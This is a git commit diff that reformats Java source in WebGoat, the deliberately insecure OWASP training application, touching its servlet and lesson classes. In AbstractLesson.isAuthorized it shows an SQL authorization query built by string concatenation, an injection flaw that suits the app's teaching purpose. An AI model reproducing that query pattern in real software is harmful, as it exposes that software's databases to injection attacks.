Reformat of Java source. Added JavaStyle format definitions.

git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@287 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
mayhew64 2008-02-27 00:29:19 +00:00
parent cbdff41aa8
commit a8db8989c8
126 changed files with 20713 additions and 22183 deletions

View File

@ -1,42 +1,40 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.util.Enumeration;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -62,57 +60,54 @@ public class Catcher extends HammerHead
public static final String EMPTY_STRING = "";
/**
* Description of the Method
*
* @param request Description of the Parameter
* @param response Description of the Parameter
* @exception IOException Description of the Exception
* @exception ServletException Description of the Exception
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
* @exception ServletException
* Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
try
{
//System.out.println( "Entering doPost: " );
//System.out.println( " - request " + request);
//System.out.println( " - principle: " + request.getUserPrincipal() );
//setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true)
.getAttribute(WebSession.SESSION);
session.update(request, response, this.getServletName()); // FIXME: Too much in this call.
// System.out.println( "Entering doPost: " );
// System.out.println( " - request " + request);
// System.out.println( " - principle: " + request.getUserPrincipal() );
// setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
session.update(request, response, this.getServletName()); // FIXME: Too much in this
// call.
int scr = session.getCurrentScreen();
Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr,
AbstractLesson.USER_ROLE);
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
log(request, lesson.getClass().getName() + " | "
+ session.getParser().toString());
log(request, lesson.getClass().getName() + " | " + session.getParser().toString());
String property = new String(session.getParser().getStringParameter(
PROPERTY, EMPTY_STRING));
String property = new String(session.getParser().getStringParameter(PROPERTY, EMPTY_STRING));
// if the PROPERTY parameter is available - write all the parameters to the
// property file. No other control parameters are supported at this time.
if ( !property.equals(EMPTY_STRING))
if (!property.equals(EMPTY_STRING))
{
Enumeration e = session.getParser().getParameterNames();
while (e.hasMoreElements())
{
String name = (String) e.nextElement();
String value= session.getParser().getParameterValues(name)[0];
lesson.getLessonTracker(session).getLessonProperties().setProperty(
name, value);
String value = session.getParser().getParameterValues(name)[0];
lesson.getLessonTracker(session).getLessonProperties().setProperty(name, value);
}
}
lesson.getLessonTracker(session).store(session, lesson);
}
catch (Throwable t)
} catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat;
import java.io.IOException;
@ -6,14 +7,12 @@ import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.TimeZone;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.WelcomeScreen;
import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen;
@ -24,32 +23,31 @@ import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -84,12 +82,10 @@ public class HammerHead extends HttpServlet
public static String propertiesPath = null;
/**
* provides convenience methods for getting setup information
* from the ServletContext
* provides convenience methods for getting setup information from the ServletContext
*/
private WebgoatContext webgoatContext = null;
/**
* Description of the Method
*
@ -102,13 +98,11 @@ public class HammerHead extends HttpServlet
* @exception ServletException
* Description of the Exception
*/
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
doPost(request, response);
}
/**
* Description of the Method
*
@ -121,8 +115,7 @@ public class HammerHead extends HttpServlet
* @exception ServletException
* Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
Screen screen = null;
@ -139,8 +132,7 @@ public class HammerHead extends HttpServlet
// FIXME: If a response is written by updateSession(), do not
// call makeScreen() and writeScreen()
mySession = updateSession(request, response, context);
if (response.isCommitted())
return;
if (response.isCommitted()) return;
// Note: For the lesson to track the status, we need to update
// the lesson tracker object
@ -151,19 +143,22 @@ public class HammerHead extends HttpServlet
// require the lesson to have memory.
screen = makeScreen(mySession); // This calls the lesson's
// handleRequest()
if (response.isCommitted())
return;
if (response.isCommitted()) return;
// perform lesson-specific tracking activities
if (screen instanceof AbstractLesson) {
if (screen instanceof AbstractLesson)
{
AbstractLesson lesson = (AbstractLesson) screen;
// we do not count the initial display of the lesson screen as a visit
if ("GET".equals(request.getMethod())) {
if ("GET".equals(request.getMethod()))
{
String uri = request.getRequestURI() + "?" + request.getQueryString();
if (! uri.endsWith(lesson.getLink()))
screen.getLessonTracker(mySession).incrementNumVisits();
} else if ("POST".equals(request.getMethod()) && mySession.getPreviousScreen() == mySession.getCurrentScreen()) {
if (!uri.endsWith(lesson.getLink())) screen.getLessonTracker(mySession).incrementNumVisits();
}
else if ("POST".equals(request.getMethod())
&& mySession.getPreviousScreen() == mySession.getCurrentScreen())
{
screen.getLessonTracker(mySession).incrementNumVisits();
}
}
@ -171,8 +166,7 @@ public class HammerHead extends HttpServlet
// log the access to this screen for this user
UserTracker userTracker = UserTracker.instance();
userTracker.update(mySession, screen);
log(request, screen.getClass().getName() + " | "
+ mySession.getParser().toString());
log(request, screen.getClass().getName() + " | " + mySession.getParser().toString());
// Redirect the request to our View servlet
String userAgent = request.getHeader("user-agent");
@ -185,33 +179,27 @@ public class HammerHead extends HttpServlet
request.getSession().setAttribute("websession", mySession);
request.getSession().setAttribute("course", mySession.getCourse());
request.getRequestDispatcher(getViewPage(mySession)).forward(
request, response);
}
catch (Throwable t)
request.getRequestDispatcher(getViewPage(mySession)).forward(request, response);
} catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
screen = new ErrorScreen(mySession, t);
}
finally
} finally
{
try
{
this.writeScreen(mySession, screen, response);
}
catch (Throwable thr)
} catch (Throwable thr)
{
thr.printStackTrace();
log(request, "Could not write error screen: "
+ thr.getMessage());
log(request, "Could not write error screen: " + thr.getMessage());
}
WebSession.returnConnection(mySession);
// System.out.println( "HH Leaving doPost: " );
}
}
private String getViewPage(WebSession webSession)
{
String page;
@ -244,7 +232,6 @@ public class HammerHead extends HttpServlet
}
}
/**
* Return information about this servlet
*
@ -255,7 +242,6 @@ public class HammerHead extends HttpServlet
return "WebGoat is sponsored by Aspect Security.";
}
/**
* Return properties path
*
@ -263,15 +249,12 @@ public class HammerHead extends HttpServlet
*/
public void init() throws ServletException
{
httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z",
Locale.US);
httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z", Locale.US);
httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
propertiesPath = getServletContext().getRealPath(
"./WEB-INF/webgoat.properties");
propertiesPath = getServletContext().getRealPath("./WEB-INF/webgoat.properties");
webgoatContext = new WebgoatContext(this);
}
/**
* Description of the Method
*
@ -282,17 +265,15 @@ public class HammerHead extends HttpServlet
*/
public void log(HttpServletRequest request, String message)
{
String output = new Date() + " | " + request.getRemoteHost() + ":"
+ request.getRemoteAddr() + " | " + message;
String output = new Date() + " | " + request.getRemoteHost() + ":" + request.getRemoteAddr() + " | " + message;
log(output);
System.out.println(output);
}
/*
* public List getLessons(Category category, String role) { Course
* course = mySession.getCourse(); // May need to clone the List before
* returning it. //return new ArrayList(course.getLessons(category,
* role)); return course.getLessons(category, role); }
* public List getLessons(Category category, String role) { Course course =
* mySession.getCourse(); // May need to clone the List before returning it. //return new
* ArrayList(course.getLessons(category, role)); return course.getLessons(category, role); }
*/
/**
@ -316,14 +297,12 @@ public class HammerHead extends HttpServlet
}
else
{
AbstractLesson lesson = course.getLesson(s, scr,
AbstractLesson.USER_ROLE);
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
if (lesson == null && s.isHackedAdmin())
{
// If admin was hacked, let the user see some of the
// admin screens
lesson = course.getLesson(s, scr,
AbstractLesson.HACKED_ADMIN_ROLE);
lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
}
if (lesson != null)
@ -345,8 +324,7 @@ public class HammerHead extends HttpServlet
}
else
{
screen = new ErrorScreen(s,
"Invalid screen requested. Try: http://localhost/WebGoat/attack");
screen = new ErrorScreen(s, "Invalid screen requested. Try: http://localhost/WebGoat/attack");
}
}
}
@ -360,12 +338,10 @@ public class HammerHead extends HttpServlet
{
// Admin can see all roles.
// FIXME: should be able to pass a list of roles.
AbstractLesson lesson = course.getLesson(s, scr,
AbstractLesson.ADMIN_ROLE);
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.ADMIN_ROLE);
if (lesson == null)
{
lesson = course.getLesson(s, scr,
AbstractLesson.HACKED_ADMIN_ROLE);
lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
}
if (lesson == null)
{
@ -391,8 +367,7 @@ public class HammerHead extends HttpServlet
}
else
{
screen = new ErrorScreen(
s,
screen = new ErrorScreen(s,
"Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack");
}
}
@ -401,19 +376,16 @@ public class HammerHead extends HttpServlet
return (screen);
}
/**
* This method sets the required expiration headers in the response for
* a given RunData object. This method attempts to set all relevant
* headers, both for HTTP 1.0 and HTTP 1.1.
* This method sets the required expiration headers in the response for a given RunData object.
* This method attempts to set all relevant headers, both for HTTP 1.0 and HTTP 1.1.
*
* @param response
* The new cacheHeaders value
* @param expiry
* The new cacheHeaders value
*/
protected static void setCacheHeaders(HttpServletResponse response,
int expiry)
protected static void setCacheHeaders(HttpServletResponse response, int expiry)
{
if (expiry == 0)
{
@ -428,7 +400,6 @@ public class HammerHead extends HttpServlet
}
}
/**
* Description of the Method
*
@ -440,8 +411,7 @@ public class HammerHead extends HttpServlet
* Description of the Parameter
* @return Description of the Return Value
*/
protected WebSession updateSession(HttpServletRequest request,
HttpServletResponse response, ServletContext context)
protected WebSession updateSession(HttpServletRequest request, HttpServletResponse response, ServletContext context)
throws IOException
{
HttpSession hs;
@ -476,7 +446,6 @@ public class HammerHead extends HttpServlet
return (session);
}
/**
* Description of the Method
*
@ -487,8 +456,7 @@ public class HammerHead extends HttpServlet
* @exception IOException
* Description of the Exception
*/
protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response)
throws IOException
protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response) throws IOException
{
response.setContentType("text/html");

View File

@ -1,42 +1,40 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -98,7 +96,8 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSolution(true);
} else if (showSource)
}
else if (showSource)
{
// Get the Java source of the lesson. FIXME: Not needed
@ -109,19 +108,16 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSource(true);
}
}
catch (Throwable t)
} catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
}
finally
} finally
{
try
{
this.writeSource(source, response);
}
catch (Throwable thr)
} catch (Throwable thr)
{
thr.printStackTrace();
log(request, "Could not write error screen: " + thr.getMessage());
@ -155,10 +151,8 @@ public class LessonSource extends HammerHead
source = lesson.getSource(s);
}
}
if (source == null)
{
return "Source code is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
if (source == null) { return "Source code is not available. Contact "
+ s.getWebgoatContext().getFeedbackAddress(); }
return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP,
"Code Section Deliberately Omitted"));
}
@ -180,10 +174,8 @@ public class LessonSource extends HammerHead
source = lesson.getSolution(s);
}
}
if (source == null)
{
return "Solution is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
if (source == null) { return "Solution is not available. Contact "
+ s.getWebgoatContext().getFeedbackAddress(); }
return (source);
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@ -27,32 +28,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.session.WebgoatProperties;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -83,11 +83,10 @@ public abstract class AbstractLesson extends Screen implements Comparable
private Integer id = null;
final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next")
.setBorder(0).setHspace(0).setVspace(0);
final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next").setBorder(0).setHspace(0).setVspace(0);
final static IMG previousGrey = new IMG("images/left14.gif").setAlt(
"Previous").setBorder(0).setHspace(0).setVspace(0);
final static IMG previousGrey = new IMG("images/left14.gif").setAlt("Previous").setBorder(0).setHspace(0)
.setVspace(0);
private Integer ranking;
@ -111,20 +110,17 @@ public abstract class AbstractLesson extends Screen implements Comparable
id = new Integer(++count);
}
public String getName()
{
String className = getClass().getName();
return className.substring(className.lastIndexOf('.') + 1);
}
public void setRanking(Integer ranking)
{
this.ranking = ranking;
}
public void setHidden(boolean hidden)
{
this.hidden = hidden;
@ -134,31 +130,25 @@ public abstract class AbstractLesson extends Screen implements Comparable
{
String className = getClass().getName();
className = className.substring(className.lastIndexOf(".") + 1);
setRanking(new Integer(properties.getIntProperty("lesson." + className
+ ".ranking", getDefaultRanking().intValue())));
String categoryRankingKey = "category."
+ getDefaultCategory().getName() + ".ranking";
// System.out.println("Category ranking key: " + categoryRankingKey);
Category tempCategory = Category.getCategory(getDefaultCategory()
.getName());
tempCategory.setRanking(new Integer(properties.getIntProperty(
categoryRankingKey, getDefaultCategory().getRanking()
setRanking(new Integer(properties.getIntProperty("lesson." + className + ".ranking", getDefaultRanking()
.intValue())));
String categoryRankingKey = "category." + getDefaultCategory().getName() + ".ranking";
// System.out.println("Category ranking key: " + categoryRankingKey);
Category tempCategory = Category.getCategory(getDefaultCategory().getName());
tempCategory.setRanking(new Integer(properties.getIntProperty(categoryRankingKey, getDefaultCategory()
.getRanking().intValue())));
category = tempCategory;
setHidden(properties.getBooleanProperty("lesson." + className
+ ".hidden", getDefaultHidden()));
setHidden(properties.getBooleanProperty("lesson." + className + ".hidden", getDefaultHidden()));
// System.out.println(className + " in " + tempCategory.getName() + "
// (Category Ranking: " + tempCategory.getRanking() + " Lesson ranking:
// " + getRanking() + ", hidden:" + hidden +")");
}
public boolean isCompleted(WebSession s)
{
return getLessonTracker(s, this).getCompleted();
}
/**
* Gets the credits attribute of the AbstractLesson object
*
@ -178,7 +168,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.getRanking().compareTo(((AbstractLesson) obj).getRanking());
}
/**
* Description of the Method
*
@ -191,7 +180,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.getScreenId() == ((AbstractLesson) obj).getScreenId();
}
/**
* Gets the category attribute of the Lesson object
*
@ -202,13 +190,10 @@ public abstract class AbstractLesson extends Screen implements Comparable
return category;
}
protected abstract Integer getDefaultRanking();
protected abstract Category getDefaultCategory();
protected abstract boolean getDefaultHidden();
/**
@ -222,8 +207,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
* Description of the Parameter
* @return The fileMethod value
*/
public static String getFileMethod(BufferedReader reader,
String methodName, boolean numbers)
public static String getFileMethod(BufferedReader reader, String methodName, boolean numbers)
{
int count = 0;
StringBuffer sb = new StringBuffer();
@ -238,8 +222,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
while ((line = reader.readLine()) != null)
{
if ((line.indexOf(methodName) != -1)
&& ((line.indexOf("public") != -1)
|| (line.indexOf("protected") != -1) || (line
&& ((line.indexOf("public") != -1) || (line.indexOf("protected") != -1) || (line
.indexOf("private") != -1)))
{
echo = true;
@ -274,8 +257,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
}
reader.close();
}
catch (Exception e)
} catch (Exception e)
{
System.out.println(e);
e.printStackTrace();
@ -284,11 +266,10 @@ public abstract class AbstractLesson extends Screen implements Comparable
return (sb.toString());
}
/**
* Reads text from a file into an ElementContainer. Each line in the
* file is represented in the ElementContainer by a StringElement. Each
* StringElement is appended with a new-line character.
* Reads text from a file into an ElementContainer. Each line in the file is represented in the
* ElementContainer by a StringElement. Each StringElement is appended with a new-line
* character.
*
* @param reader
* Description of the Parameter
@ -301,7 +282,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return (getFileText(reader, numbers));
}
/**
* Gets the fileText attribute of the Screen class
*
@ -330,8 +310,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
}
reader.close();
}
catch (Exception e)
} catch (Exception e)
{
System.out.println(e);
e.printStackTrace();
@ -340,7 +319,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return (sb.toString());
}
/**
* Will this screen be included in an enterprise edition.
*
@ -351,10 +329,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
return false;
}
/**
* Gets the hintCount attribute of the Lesson object
* @param s The user's WebSession
*
* @param s
* The user's WebSession
*
* @return The hintCount value
*/
@ -363,14 +342,14 @@ public abstract class AbstractLesson extends Screen implements Comparable
return getHints(s).size();
}
protected abstract List<String> getHints(WebSession s);
/**
* Fill in a minor hint that will help people who basically get it, but
* are stuck on somthing silly.
* @param s The users WebSession
* Fill in a minor hint that will help people who basically get it, but are stuck on somthing
* silly.
*
* @param s
* The users WebSession
*
* @return The hint1 value
*/
@ -379,7 +358,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return getHints(s).get(hintNumber);
}
/**
* Gets the instructions attribute of the AbstractLesson object
*
@ -387,7 +365,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
*/
public abstract String getInstructions(WebSession s);
/**
* Gets the lessonPlan attribute of the Lesson object
*
@ -399,7 +376,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.getClass().getName().substring(index + "lessons.".length());
}
/**
* Gets the title attribute of the HelloScreen object
*
@ -407,7 +383,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
*/
public abstract String getTitle();
/**
* Gets the content of lessonPlanURL
*
@ -424,11 +399,9 @@ public abstract class AbstractLesson extends Screen implements Comparable
{
// System.out.println("Loading lesson plan file: " +
// getLessonPlanFileName());
src = readFromFile(new BufferedReader(new FileReader(s
.getWebResource(getLessonPlanFileName()))), false);
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonPlanFileName()))), false);
}
catch (Exception e)
} catch (Exception e)
{
// s.setMessage( "Could not find lesson plan for " +
// getLessonName());
@ -438,7 +411,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return src;
}
/**
* Gets the ranking attribute of the Lesson object
*
@ -456,7 +428,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
}
}
/**
* Gets the hidden value of the Lesson Object
*
@ -467,7 +438,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.hidden;
}
/**
* Gets the role attribute of the AbstractLesson object
*
@ -487,7 +457,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return USER_ROLE;
}
/**
* Gets the uniqueID attribute of the AbstractLesson object
*
@ -498,7 +467,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return id.intValue();
}
public String getHtml_DELETE_ME(WebSession s)
{
String html = null;
@ -508,15 +476,13 @@ public abstract class AbstractLesson extends Screen implements Comparable
String rawHtml = createContent(s).toString();
// System.out.println("Getting raw html content: " +
// rawHtml.substring(0, Math.min(rawHtml.length(), 100)));
html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader(
new StringReader(rawHtml)), true));
html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader(new StringReader(rawHtml)), true));
// System.out.println("Getting encoded html content: " +
// html.substring(0, Math.min(html.length(), 100)));
return html;
}
public String getSource(WebSession s)
{
String source = null;
@ -526,17 +492,15 @@ public abstract class AbstractLesson extends Screen implements Comparable
{
// System.out.println("Loading source file: " +
// getSourceFileName());
src = convertMetacharsJavaCode(readFromFile(new BufferedReader(
new FileReader(s.getWebResource(getSourceFileName()))),
true));
src = convertMetacharsJavaCode(readFromFile(new BufferedReader(new FileReader(s
.getWebResource(getSourceFileName()))), true));
// TODO: For styled line numbers and better memory efficiency,
// use a custom FilterReader
// that performs the convertMetacharsJavaCode() transform plus
// optionally adds a styled
// line number. Wouldn't color syntax be great too?
}
catch (IOException e)
} catch (IOException e)
{
s.setMessage("Could not find source file");
src = ("Could not find source file");
@ -558,18 +522,14 @@ public abstract class AbstractLesson extends Screen implements Comparable
return source;
}
public String getSolution(WebSession s)
{
String src = null;
try
{
src = readFromFile(new BufferedReader(
new FileReader(s.getWebResource(getLessonSolutionFileName()))),
false);
}
catch (IOException e)
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName()))), false);
} catch (IOException e)
{
s.setMessage("Could not find the solution file");
src = ("Could not find the solution file");
@ -589,7 +549,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return src;
}
/**
* Get the link that can be used to request this screen.
*
@ -610,7 +569,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return link.toString();
}
/**
* Get the link to the jsp page used to render this screen.
*
@ -621,7 +579,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return null;
}
/**
* Get the link to the jsp template page used to render this screen.
*
@ -632,10 +589,8 @@ public abstract class AbstractLesson extends Screen implements Comparable
return null;
}
public abstract String getCurrentAction(WebSession s);
public abstract void setCurrentAction(WebSession s, String lessonScreen);
/**
@ -650,7 +605,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return false;
}
/**
* Override this method to implement accesss control in a lesson.
*
@ -663,23 +617,19 @@ public abstract class AbstractLesson extends Screen implements Comparable
boolean authorized = false;
try
{
String query = "SELECT * FROM auth WHERE role = '" + role
+ "' and functionid = '" + functionId + "'";
String query = "SELECT * FROM auth WHERE role = '" + role + "' and functionid = '" + functionId + "'";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error authorizing");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error authorizing");
e.printStackTrace();
@ -687,13 +637,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
return authorized;
}
public int getUserId(WebSession s) throws ParameterNotFoundException
{
return -1;
}
public String getUserName(WebSession s) throws ParameterNotFoundException
{
return null;
@ -728,13 +676,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
script.append(" params += \"height=350\";\n");
script.append("\n");
script.append(" // close the window to vary the window size\n");
script
.append(" if (typeof(win) == \"object\" && !win.closed){\n");
script.append(" if (typeof(win) == \"object\" && !win.closed){\n");
script.append(" win.close();\n");
script.append(" }\n");
script.append("\n");
script.append(" win = window.open(url, '" + windowName
+ "' , params);\n");
